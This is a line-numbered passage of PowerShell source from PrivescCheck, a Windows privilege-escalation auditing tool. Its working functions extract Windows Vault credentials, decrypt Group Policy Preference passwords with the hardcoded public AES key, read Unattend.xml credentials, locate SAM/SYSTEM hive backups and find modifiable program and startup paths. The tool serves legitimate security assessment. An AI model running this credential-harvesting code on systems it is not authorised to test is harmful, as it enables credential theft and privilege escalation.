4824 [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemDataValuePtr, [Type] [Guid])
4825 }
4826
4827 # ElementType_String
4828 0x07 {
4829 $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr($VaultItemDataValuePtr)
4830 [Runtime.InteropServices.Marshal]::PtrToStringUni($StringPtr)
4831 }
4832
4833 # ElementType_ByteArray
4834 0x08 {
4835
4836 }
4837
4838 # ElementType_TimeStamp
4839 0x09 {
4840
4841 }
4842
4843 # ElementType_ProtectedArray
4844 0x0a {
4845
4846 }
4847
4848 # ElementType_Attribute
4849 0x0b {
4850
4851 }
4852
4853 # ElementType_Sid
4854 0x0c {
4855 $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr($VaultItemDataValuePtr)
4856 $SidObject = [Security.Principal.SecurityIdentifier] ($SidPtr)
4857 $SidObject.Value
4858 }
4859
4860 # ElementType_Max
4861 0x0d {
4862
4863 }
4864 }
4865 }
4866
4867 $VaultsCount = 0
4868 $VaultGuids = [IntPtr]::Zero
4869 $Result = [PrivescCheck.Win32]::VaultEnumerateVaults(0, [ref]$VaultsCount, [ref]$VaultGuids)
4870
4871 if ($Result -eq 0) {
4872
4873 Write-Verbose "VaultEnumerateVaults() OK - Count: $($VaultsCount)"
4874
4875 for ($i = 0; $i -lt $VaultsCount; $i++) {
4876
4877 $VaultGuidPtr = [IntPtr] ($VaultGuids.ToInt64() + ($i * [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])))
4878 $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultGuidPtr, [type] [Guid])
4879 $VaultName = Get-VaultNameFromGuid -VaultGuid $VaultGuid
4880
4881 Write-Verbose "Vault: $($VaultGuid) - $($VaultName)"
4882
4883 $VaultHandle = [IntPtr]::Zero
4884 $Result = [PrivescCheck.Win32]::VaultOpenVault($VaultGuidPtr, 0, [ref]$VaultHandle)
4885
4886 if ($Result -eq 0) {
4887
4888 Write-Verbose "VaultOpenVault() OK - Vault Handle: 0x$($VaultHandle.ToString('X8'))"
4889
4890 $VaultItemsCount = 0
4891 $ItemsPtr = [IntPtr]::Zero
4892 $Result = [PrivescCheck.Win32]::VaultEnumerateItems($VaultHandle, 0x0200, [ref]$VaultItemsCount, [ref]$ItemsPtr)
4893
4894 $VaultItemPtr = $ItemsPtr
4895
4896 if ($Result -eq 0) {
4897
4898 Write-Verbose "VaultEnumerateItems() OK - Items Count: $($VaultItemsCount)"
4899
4900 $OSVersion = [Environment]::OSVersion.Version
4901
4902 try {
4903
4904 for ($j = 0; $j -lt $VaultItemsCount; $j++) {
4905
4906 if ($OSVersion.Major -le 6 -and $OSVersion.Minor -le 1) {
4907 # Windows 7
4908 $VaultItemType = [type] [PrivescCheck.Win32+VAULT_ITEM_7]
4909 } else {
4910 # Windows 8+
4911 $VaultItemType = [type] [PrivescCheck.Win32+VAULT_ITEM_8]
4912 }
4913
4914 $VaultItem = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultItemPtr, [type] $VaultItemType)
4915
4916 if ($OSVersion.Major -le 6 -and $OSVersion.Minor -le 1) {
4917 # Windows 7
4918 $PasswordItemPtr = [IntPtr]::Zero
4919 $Result = [PrivescCheck.Win32]::VaultGetItem7($VaultHandle, [ref]$VaultItem.SchemaId, $VaultItem.Resource, $VaultItem.Identity, [IntPtr]::Zero, 0, [ref]$PasswordItemPtr)
4920 } else {
4921 # Windows 8+
4922 $PasswordItemPtr = [IntPtr]::Zero
4923 $Result = [PrivescCheck.Win32]::VaultGetItem8($VaultHandle, [ref]$VaultItem.SchemaId, $VaultItem.Resource, $VaultItem.Identity, $VaultItem.PackageSid, [IntPtr]::Zero, 0, [ref]$PasswordItemPtr)
4924 }
4925
4926 if ($Result -eq 0) {
4927
4928 Write-Verbose "VaultGetItem() OK - ItemPtr: 0x$($PasswordItemPtr.ToString('X8'))"
4929 $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordItemPtr, [Type] $VaultItemType)
4930 $Password = Get-VaultItemElementValue -VaultItemElementPtr $PasswordItem.Authenticator
4931 [PrivescCheck.Win32]::VaultFree($PasswordItemPtr) | Out-Null
4932
4933 } else {
4934 Write-Verbose "VaultGetItem() failed - Err: 0x$($Result.ToString('X8'))"
4935 }
4936
4937 if (-not [String]::IsNullOrEmpty($Password)) {
4938 $Item = New-Object -TypeName PSObject
4939 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $VaultName
4940 $Item | Add-Member -MemberType "NoteProperty" -Name "TargetName" -Value $(Get-VaultItemElementValue -VaultItemElementPtr $VaultItem.Resource)
4941 $Item | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $(Get-VaultItemElementValue -VaultItemElementPtr $VaultItem.Identity)
4942 $Item | Add-Member -MemberType "NoteProperty" -Name "Credential" -Value $Password
4943 $Item | Add-Member -MemberType "NoteProperty" -Name "LastWritten" -Value $([DateTime]::FromFileTimeUtc($VaultItem.LastWritten))
4944 $Item
4945 }
4946
4947 $VaultItemPtr = [IntPtr] ($VaultItemPtr.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VaultItemType))
4948 }
4949
4950 } catch [Exception] {
4951 Write-Verbose $_.Exception.Message
4952 }
4953
4954 } else {
4955 Write-Verbose "VaultEnumerateItems() failed - Err: 0x$($Result.ToString('X8'))"
4956 }
4957
4958 [PrivescCheck.Win32]::VaultCloseVault([ref]$VaultHandle) | Out-Null
4959
4960 } else {
4961 Write-Verbose "VaultOpenVault() failed - Err: 0x$($Result.ToString('X8'))"
4962 }
4963 }
4964
4965 } else {
4966 Write-Verbose "VaultEnumerateVaults() failed - Err: 0x$($Result.ToString('X8'))"
4967 }
4968 }
4969
4970 function Invoke-GPPPasswordCheck {
4971 <#
4972 .SYNOPSIS
4973
4974 Lists Group Policy Preferences (GPP) containing a non-empty "cpassword" field
4975
4976 Author: @itm4n
4977 Credit: @obscuresec, @harmj0y
4978 License: BSD 3-Clause
4979
4980 .DESCRIPTION
4981
4982 Before KB2928120 (see MS14-025), some Group Policy Preferences could be configured with a
4983 custom account. This feature was mainly used to deploy a custom local administrator account on
4984 a group of machines. There were two problems with this approach though. First, since the Group
4985 Policy Objects are stored as XML files in SYSVOL, any domain user can read them. The second
4986 problem is that the password set in these GPPs is AES256-encrypted with a default key, which
4987 is publicly documented. This means that any authenticated user could potentially access very
4988 sensitive data and elevate their privileges on their machine or even the domain.
4989
4990 This function will check whether any locally cached GPP file contains a non-empty "cpassword"
4991 field. If so, it will decrypt it and return a custom PS object containing some information
4992 about the GPP along with the location of the file.
4993
4994 .PARAMETER Remote
4995
4996 Set this flag if you want to search for GPP files in the SYSVOL share of your primary Domain
4997 Controller. Initially, I wanted to do only local checks but this was a special request from
4998 @mpgn_x64 so I couldn't say no :P.
4999
5000 .EXAMPLE
5001
5002 PS C:\> Invoke-GPPPasswordCheck
5003
5004 Type : Mapped Drive
5005 UserName : shareuser
5006 Password : S3cur3Shar3
5007 Content : Path: \\evilcorp.lab\SecureShare
5008 Changed : 2020-02-09 14:03:57
5009 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{3A61470B-FD38-462A-A2E2-FC279A2754AE}\S-1-5-21-2135246055-3766984803-592010092-1103\Preferences\Drives\Drives.xml
5010
5011 Type : Data Source
5012 UserName : datasource
5013 Password : S0urce0fThePr0blem
5014 Content : DSN: source
5015 Changed : 2020-02-09 12:23:43
5016 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{3FC99437-7C06-491A-8EBC-786CDA055862}\S-1-5-21-2135246055-3766984803-592010092-1103\Preferences\DataSources\DataSources.xml
5017
5018 Type : Service
5019 UserName : EVILCORP\SvcControl
5020 Password : S3cr3tS3rvic3
5021 Content : Name: CustomService
5022 Changed : 2020-02-09 12:16:18
5023 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{66E11622-15A4-40B7-938C-FAD43AF1F572}\Machine\Preferences\Services\Services.xml
5024
5025 Type : Scheduled Task
5026 UserName : EVILCORP\SvcCustomTask
5027 Password : T4skM4ster
5028 Content : App: C:\windows\system32\cmd.exe
5029 Changed : 2020-02-09 12:20:50
5030 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{6E9805DA-4CFC-47AC-BFC4-216FED08D39E}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
5031
5032 Type : User/Group
5033 UserName : LocalAdmin
5034 Password : $uper$ecureP4ss
5035 Content : Description: Super secure local admin account
5036 Changed : 2020-02-09 12:09:59
5037 FilePath : C:\ProgramData\Microsoft\Group Policy\History\{8B95814A-23A2-4FB7-8BBA-53745EA1F11C}\Machine\Preferences\Groups\Groups.xml
5038
5039 .LINK
5040
5041 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
5042 https://adsecurity.org/?p=2288
5043 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-025
5044 https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati
5045
5046 #>
5047
5048 [CmdletBinding()] param(
5049 [switch]$Remote
5050 )
5051
5052 try {
5053 Add-Type -Assembly System.Security
5054 Add-Type -Assembly System.Core
5055 } catch {
5056 # do nothing
5057 }
5058
5059 function Get-DecryptedPassword {
5060 [CmdletBinding()] param(
5061 [string] $Cpassword
5062 )
5063
5064 if (-not [String]::IsNullOrEmpty($Cpassword)) {
5065
5066 $Mod = $Cpassword.Length % 4
5067 if ($Mod -gt 0) {
5068 $Cpassword += "=" * (4 - $Mod)
5069 }
5070
5071 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
5072
5073 try {
5074
5075 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
5076 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
5077
5078 $AesIV = New-Object Byte[]($AesObject.IV.Length)
5079 $AesObject.IV = $AesIV
5080 $AesObject.Key = $AesKey
5081 $DecryptorObject = $AesObject.CreateDecryptor()
5082 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
5083
5084 [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
5085
5086 } catch [Exception] {
5087 Write-Verbose $_.Exception.Message
5088 }
5089 }
5090 }
5091
5092 if ($Remote) {
5093 $GppPath = "\\$($Env:USERDNSDOMAIN)\SYSVOL"
5094 } else {
5095 $GppPath = $Env:ALLUSERSPROFILE
5096 if ($GppPath -notmatch "ProgramData") {
5097 $GppPath = Join-Path -Path $GppPath -ChildPath "Application Data"
5098 } else {
5099 $GppPath = Join-Path -Path $GppPath -ChildPath "Microsoft\Group Policy"
5100 }
5101 }
5102
5103 if (Test-Path -Path $GppPath -ErrorAction SilentlyContinue) {
5104
5105 $CachedGPPFiles = Get-ChildItem -Path $GppPath -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Drives.xml','Printers.xml' -Force -ErrorAction SilentlyContinue
5106
5107 foreach ($File in $CachedGPPFiles) {
5108
5109 $FileFullPath = $File.FullName
5110 Write-Verbose $FileFullPath
5111
5112 try {
5113 [xml]$XmlFile = Get-Content -Path $FileFullPath -ErrorAction SilentlyContinue
5114 } catch [Exception] {
5115 Write-Verbose $_.Exception.Message
5116 }
5117
5118 if ($Null -eq $XmlFile) {
5119 continue
5120 }
5121
5122 $XmlFile.GetElementsByTagName("Properties") | ForEach-Object {
5123
5124 $Properties = $_
5125 $Cpassword = ""
5126
5127 switch ($File.BaseName) {
5128
5129 Groups {
5130 $Type = "User/Group"
5131 $UserName = $Properties.userName
5132 $Cpassword = $Properties.cpassword
5133 $Content = "Description: $($Properties.description)"
5134 }
5135
5136 Scheduledtasks {
5137 $Type = "Scheduled Task"
5138 $UserName = $Properties.runAs
5139 $Cpassword = $Properties.cpassword
5140 $Content = "App: $($Properties.appName) $($Properties.args)"
5141 }
5142
5143 DataSources {
5144 $Type = "Data Source"
5145 $UserName = $Properties.username
5146 $Cpassword = $Properties.cpassword
5147 $Content = "DSN: $($Properties.dsn)"
5148 }
5149
5150 Drives {
5151 $Type = "Mapped Drive"
5152 $UserName = $Properties.userName
5153 $Cpassword = $Properties.cpassword
5154 $Content = "Path: $($Properties.path)"
5155 }
5156
5157 Services {
5158 $Type = "Service"
5159 $UserName = $Properties.accountName
5160 $Cpassword = $Properties.cpassword
5161 $Content = "Name: $($Properties.serviceName)"
5162 }
5163
5164 Printers {
5165 $Type = "Printer"
5166 $UserName = $Properties.username
5167 $Cpassword = $Properties.cpassword
5168 $Content = "Path: $($Properties.path)"
5169 }
5170 }
5171
5172 if (-not [String]::IsNullOrEmpty($Cpassword)) {
5173 $Item = New-Object -TypeName PSObject
5174 $Item | Add-Member -MemberType "NoteProperty" -Name "Type" -Value $Type
5175 $Item | Add-Member -MemberType "NoteProperty" -Name "UserName" -Value $UserName
5176 $Item | Add-Member -MemberType "NoteProperty" -Name "Password" -Value $(Get-DecryptedPassword -Cpassword $Cpassword)
5177 $Item | Add-Member -MemberType "NoteProperty" -Name "Content" -Value $Content
5178 $Item | Add-Member -MemberType "NoteProperty" -Name "Changed" -Value $Properties.ParentNode.changed
5179 $Item | Add-Member -MemberType "NoteProperty" -Name "FilePath" -Value $FileFullPath
5180 $Item
5181 }
5182 }
5183 }
5184 }
5185 }
5186
5187 function Invoke-PowerShellHistoryCheck {
5188 <#
5189 .SYNOPSIS
5190
5191 Searches for interesting keywords in the PowerShell history of the current user.
5192
5193 .DESCRIPTION
5194
5195 PowerShell commands are saved in a file (ConsoleHost_history.txt), in a subdirectory of the
5196 current user's AppData folder. This script extracts the content of this file and also checks
5197 whether it contains some keywords such as "password".
5198
5199 .EXAMPLE
5200
5201 PS C:\> Invoke-PowerShellHistoryCheck
5202
5203 Path : C:\Users\lab-user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
5204 CreationTime : 11/11/2019 11:01:55
5205 LastWriteTime : 04/10/2020 22:40:30
5206 Lines : 634
5207 Matches : 12
5208
5209 #>
5210
5211 $HistoryFilePath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
5212 $HistoryFileContent = Get-Content -Path $HistoryFilePath -ErrorAction SilentlyContinue -ErrorVariable ErrorGetContent
5213
5214 if (-not $ErrorGetContent) {
5215
5216 $HistoryCount = $HistoryFileContent.Count
5217 $AllMatches = $HistoryFileContent | Select-String -Pattern $KeywordsOfInterest -AllMatches
5218 $AllMatchesCount = $AllMatches.Count
5219 $FileItem = Get-Item -Path $HistoryFilePath
5220
5221 $Item = New-Object -TypeName PSObject
5222 $Item | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $HistoryFilePath
5223 $Item | Add-Member -MemberType "NoteProperty" -Name "CreationTime" -Value $FileItem.CreationTime
5224 $Item | Add-Member -MemberType "NoteProperty" -Name "LastWriteTime" -Value $FileItem.LastWriteTime
5225 $Item | Add-Member -MemberType "NoteProperty" -Name "Lines" -Value $HistoryCount
5226 $Item | Add-Member -MemberType "NoteProperty" -Name "Matches" -Value $AllMatchesCount
5227 $Item
5228 }
5229 }
5230 # ----------------------------------------------------------------
5231 # END CREDENTIALS
5232 # ----------------------------------------------------------------
5233
5234 # ----------------------------------------------------------------
5235 # BEGIN SENSITIVE FILES
5236 # ----------------------------------------------------------------
5237 function Invoke-SamBackupFilesCheck {
5238 <#
5239 .SYNOPSIS
5240
5241 Checks common locations for the SAM/SYSTEM backup files and checks whether the current
5242 user can read them.
5243
5244 Author: @itm4n
5245 License: BSD 3-Clause
5246
5247 .DESCRIPTION
5248
5249 The SAM/SYSTEM registry hives are stored as files in a known location:
5250 'C:\windows\System32\config'. These files are locked by default so even SYSTEM can't read them
5251 when the system is running. However, copies of these files can be created in other folders so
5252 it's worth checking if these files are accessible.
5253
5254 #>
5255
5256 [CmdletBinding()] param()
5257
5258 $ArrayOfPaths = New-Object System.Collections.ArrayList
5259 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "repair\SAM"))
5260 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\RegBack\SAM"))
5261 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\SAM"))
5262 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "repair\system"))
5263 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\SYSTEM"))
5264 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:SystemRoot -ChildPath "System32\config\RegBack\system"))
5265
5266 ForEach ($Path in [string[]]$ArrayOfPaths) {
5267
5268 if (Test-Path -Path $Path -ErrorAction SilentlyContinue) {
5269
5270 Get-Content -Path $Path -ErrorAction SilentlyContinue -ErrorVariable GetContentError | Out-Null
5271
5272 if (-not $GetContentError) {
5273 $SamBackupFile = New-Object -TypeName PSObject
5274 $SamBackupFile | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $Path
5275 $SamBackupFile
5276 }
5277 }
5278 }
5279 }
5280
5281 function Invoke-UnattendFilesCheck {
5282 <#
5283 .SYNOPSIS
5284
5285 Enumerates Unattend files and extracts credentials
5286
5287 Author: @itm4n
5288 License: BSD 3-Clause
5289
5290 .DESCRIPTION
5291
5292 Searches common locations for "Unattend.xml" files. When a file is found, it calls the custom
5293 "Get-UnattendSensitiveData" function to extract credentials from it. Note: credentials are only
5294 returned if the password is not empty and not equal to "*SENSITIVE*DATA*DELETED*".
5295
5296 .EXAMPLE
5297
5298 PS C:\> Invoke-UnattendFilesCheck | fl
5299
5300 Type : LocalAccount
5301 Domain : N/A
5302 Username : John
5303 Password : Password1
5304 File : C:\WINDOWS\Panther\Unattend.xml
5305
5306 #>
5307
5308 [CmdletBinding()] param()
5309
5310 $ArrayOfPaths = New-Object System.Collections.ArrayList
5311 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattended.xml"))
5312 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend.xml"))
5313 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend\Unattended.xml"))
5314 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "Panther\Unattend\Unattend.xml"))
5315 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "System32\Sysprep\Unattend.xml"))
5316 [void]$ArrayOfPaths.Add($(Join-Path -Path $env:windir -ChildPath "System32\Sysprep\Panther\Unattend.xml"))
5317
5318 ForEach ($Path in [string[]]$ArrayOfPaths) {
5319
5320 if (Test-Path -Path $Path -ErrorAction SilentlyContinue) {
5321
5322 Write-Verbose "Found file: $Path"
5323
5324 $Result = Get-UnattendSensitiveData -Path $Path
5325 if ($Result) {
5326 $Result | Add-Member -MemberType "NoteProperty" -Name "File" -Value $Path
5327 $Result
5328 }
5329 }
5330 }
5331 }
5332 # ----------------------------------------------------------------
5333 # END SENSITIVE FILES
5334 # ----------------------------------------------------------------
5335
5336
5337 # ----------------------------------------------------------------
5338 # BEGIN INSTALLED PROGRAMS
5339 # ----------------------------------------------------------------
5340 function Invoke-InstalledProgramsCheck {
5341 <#
5342 .SYNOPSIS
5343
5344 Enumerates the applications that are not installed by default
5345
5346 Author: @itm4n
5347 License: BSD 3-Clause
5348
5349 .DESCRIPTION
5350
5351 Uses the custom "Get-InstalledPrograms" function to get a filtered list of installed programs
5352 and then returns each result as a simplified PS object, indicating the name and the path of
5353 the application.
5354
5355 .EXAMPLE
5356
5357 PS C:\> Invoke-InstalledProgramsCheck | ft
5358
5359 Name FullPath
5360 ---- --------
5361 Npcap C:\Program Files\Npcap
5362 Wireshark C:\Program Files\Wireshark
5363
5364 #>
5365
5366 [CmdletBinding()] param()
5367
5368 $InstalledProgramsResult = New-Object System.Collections.ArrayList
5369
5370 $Items = Get-InstalledPrograms -Filtered
5371
5372 ForEach ($Item in $Items) {
5373 $CurrentFileName = $Item.Name
5374 $CurrentFileFullname = $Item.FullName
5375 $AppItem = New-Object -TypeName PSObject
5376 $AppItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $CurrentFileName
5377 $AppItem | Add-Member -MemberType "NoteProperty" -Name "FullPath" -Value $CurrentFileFullname
5378 [void]$InstalledProgramsResult.Add($AppItem)
5379 }
5380
5381 $InstalledProgramsResult
5382 }
5383
5384 function Invoke-ModifiableProgramsCheck {
5385 <#
5386 .SYNOPSIS
5387
5388 Identifies applications which have a modifiable EXE of DLL file
5389
5390 Author: @itm4n
5391 License: BSD 3-Clause
5392
5393 .DESCRIPTION
5394
5395 For each non-default application, enumerates the .exe and .dll files that the current user has
5396 modify permissions on.
5397
5398 .EXAMPLE
5399
5400 PS C:\> Invoke-ModifiableProgramsCheck | ft
5401
5402 ModifiablePath IdentityReference Permissions
5403 -------------- ----------------- -----------
5404 C:\Program Files\VulnApp\Packages DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
5405 C:\Program Files\VulnApp\app.exe DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
5406 C:\Program Files\VulnApp\foobar.dll DESKTOP-FEOHNOM\user {WriteOwner, Delete, WriteAttributes, Synchronize...}
5407
5408 #>
5409
5410 [CmdletBinding()] param()
5411
5412 $Items = Get-InstalledPrograms -Filtered
5413
5414 ForEach ($Item in $Items) {
5415
5416 $SearchPath = New-Object -TypeName System.Collections.ArrayList
5417 [void]$SearchPath.Add([string]$(Join-Path -Path $Item.FullName -ChildPath "\*")) # Do this to avoid the use of -Depth which is PSH5+
5418 [void]$SearchPath.Add([string]$(Join-Path -Path $Item.FullName -ChildPath "\*\*")) # Do this to avoid the use of -Depth which is PSH5+
5419
5420 $ChildItems = Get-ChildItem -Path $SearchPath -ErrorAction SilentlyContinue -ErrorVariable GetChildItemError
5421
5422 if (-not $GetChildItemError) {
5423
5424 $ChildItems | ForEach-Object {
5425
5426 if ($_ -is [System.IO.DirectoryInfo]) {
5427 $ModifiablePaths = $_ | Get-ModifiablePath -LiteralPaths
5428 } else {
5429 # Check only .exe and .dll ???
5430 # TODO: maybe consider other extensions
5431 if ($_.FullName -Like "*.exe" -or $_.FullName -Like "*.dll") {
5432 $ModifiablePaths = $_ | Get-ModifiablePath -LiteralPaths
5433 }
5434 }
5435
5436 if ($ModifiablePaths) {
5437 ForEach ($Path in $ModifiablePaths) {
5438 if ($Path.ModifiablePath -eq $_.FullName) {
5439 $Path
5440 }
5441 }
5442 }
5443 }
5444 }
5445 }
5446 }
5447
5448 function Invoke-ProgramDataCheck {
5449 <#
5450 .SYNOPSIS
5451
5452 Checks for modifiable files and folders under non default ProgramData folders.
5453
5454 Author: @itm4n
5455 License: BSD 3-Clause
5456
5457 .DESCRIPTION
5458
5459 This script first lists all the subfolders under 'C:\ProgramData\'. For each folder that
5460 is not a "known" default Windows folder, it lists all the files and folders it contains. If a
5461 modifiable file or folder is found, it is reported by the script.
5462
5463 .EXAMPLE
5464
5465 PS C:\> Invoke-ProgramDataCheck
5466
5467 ModifiablePath : C:\ProgramData\chocolatey\logs
5468 IdentityReference : BUILTIN\Users
5469 Permissions : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
5470
5471 ModifiablePath : C:\ProgramData\chocolatey\logs\choco.summary.log
5472 IdentityReference : BUILTIN\Users
5473 Permissions : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
5474
5475 ModifiablePath : C:\ProgramData\chocolatey\logs\chocolatey.log
5476 IdentityReference : BUILTIN\Users
5477 Permissions : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
5478
5479 ModifiablePath : C:\ProgramData\shimgen\generatedfiles
5480 IdentityReference : BUILTIN\Users
5481 Permissions : {WriteAttributes, AppendData/AddSubdirectory, WriteExtendedAttributes, WriteData/AddFile}
5482
5483 ModifiablePath : C:\ProgramData\VMware\logs
5484 IdentityReference : BUILTIN\Users
5485 Permissions : {WriteAttributes, AppendData/AddSubdirectory, WriteExtendedAttributes, WriteData/AddFile}
5486
5487 #>
5488
5489 [CmdletBinding()] param()
5490
5491 $IgnoredProgramData = @("Microsoft", "Microsoft OneDrive", "Package Cache", "Packages", "SoftwareDistribution", "ssh", "USOPrivate", "USOShared", "")
5492
5493 Get-ChildItem -Path $env:ProgramData | ForEach-Object {
5494
5495 if ($_ -is [System.IO.DirectoryInfo] -and (-not ($IgnoredProgramData -contains $_.Name))) {
5496
5497 $_ | Get-ChildItem -Recurse -Force -ErrorAction SilentlyContinue | ForEach-Object {
5498
5499 $_ | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')}
5500 }
5501 }
5502 }
5503 }
5504
5505 function Invoke-ApplicationsOnStartupCheck {
5506 <#
5507 .SYNOPSIS
5508
5509 Enumerates the applications which are run on startup
5510
5511 Author: @itm4n
5512 License: BSD 3-Clause
5513
5514 .DESCRIPTION
5515
5516 Applications can be run on startup or whenever a user logs on. They can be either configured
5517 in the registry or by adding an shortcut file (.LNK) in a Start Menu folder.
5518
5519 .EXAMPLE
5520
5521 PS C:\> Invoke-ApplicationsOnStartupCheck
5522
5523 Name : SecurityHealth
5524 Path : HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SecurityHealth
5525 Data : %windir%\system32\SecurityHealthSystray.exe
5526 IsModifiable : False
5527
5528 Name : VMware User Process
5529 Path : HKLM\Software\Microsoft\Windows\CurrentVersion\Run\VMware User Process
5530 Data : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
5531 IsModifiable : False
5532
5533 #>
5534
5535 [CmdletBinding()] param()
5536
5537 # Is it relevant to check HKCU entries???
5538 #[string[]]$RegistryPaths = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKCU\Software\Microsoft\Windows\CurrentVersion\Run", "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"
5539 [string[]]$RegistryPaths = "HKLM\Software\Microsoft\Windows\CurrentVersion\Run", "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"
5540
5541 $RegistryPaths | ForEach-Object {
5542
5543 $RegKeyPath = $_
5544
5545 $Item = Get-Item -Path "Registry::$($RegKeyPath)" -ErrorAction SilentlyContinue -ErrorVariable ErrorGetItem
5546 if (-not $ErrorGetItem) {
5547
5548 $Item | Select-Object -ExpandProperty Property | ForEach-Object {
5549
5550 $RegKeyValueName = $_
5551 $RegKeyValueData = $Item.GetValue($RegKeyValueName, "", "DoNotExpandEnvironmentNames")
5552
5553 if ($RegKeyValueData -and ($RegKeyValueData -ne '')) {
5554
5555 $ModifiablePaths = $RegKeyValueData | Get-ModifiablePath | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')}
5556 if (([object[]]$ModifiablePaths).Length -gt 0) {
5557 $IsModifiable = $True
5558 } else {
5559 $IsModifiable = $False
5560 }
5561
5562 $ResultItem = New-Object -TypeName PSObject
5563 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $RegKeyValueName
5564 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Path" -Value "$($RegKeyPath)\$($RegKeyValueName)"
5565 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Data" -Value $RegKeyValueData
5566 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "IsModifiable" -Value $IsModifiable
5567 $ResultItem
5568 }
5569 }
5570 }
5571 }
5572
5573 $Root = (Get-Item -Path $env:windir).PSDrive.Root
5574
5575 # We want to check only startup applications that affect all users
5576 # [string[]]$FileSystemPaths = "\Users\All Users\Start Menu\Programs\Startup", "\Users\$env:USERNAME\Start Menu\Programs\Startup"
5577 [string[]]$FileSystemPaths = "\Users\All Users\Start Menu\Programs\Startup"
5578
5579 $FileSystemPaths | ForEach-Object {
5580
5581 $StartupFolderPath = Join-Path -Path $Root -ChildPath $_
5582
5583 Get-ChildItem -Path $StartupFolderPath -ErrorAction SilentlyContinue | ForEach-Object {
5584 $EntryName = $_.Name
5585 $EntryPath = $_.FullName
5586
5587 if ($EntryPath -Like "*.lnk") {
5588
5589 try {
5590
5591 $Wsh = New-Object -ComObject WScript.Shell
5592 $Shortcut = $Wsh.CreateShortcut((Resolve-Path -Path $EntryPath))
5593
5594 $ModifiablePaths = $Shortcut.TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')}
5595 if (([object[]]$ModifiablePaths).Length -gt 0) {
5596 $IsModifiable = $True
5597 } else {
5598 $IsModifiable = $False
5599 }
5600
5601 $ResultItem = New-Object -TypeName PSObject
5602 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Name" -Value $EntryName
5603 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Path" -Value $EntryPath
5604 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "Data" -Value "$($Shortcut.TargetPath) $($Shortcut.Arguments)"
5605 $ResultItem | Add-Member -MemberType "NoteProperty" -Name "IsModifiable" -Value $IsModifiable
5606 $ResultItem
5607
5608 } catch {
5609 # do nothing
5610 }
5611 }
5612 }
5613 }
5614 }
5615
5616 function Invoke-ApplicationsOnStartupVulnCheck {
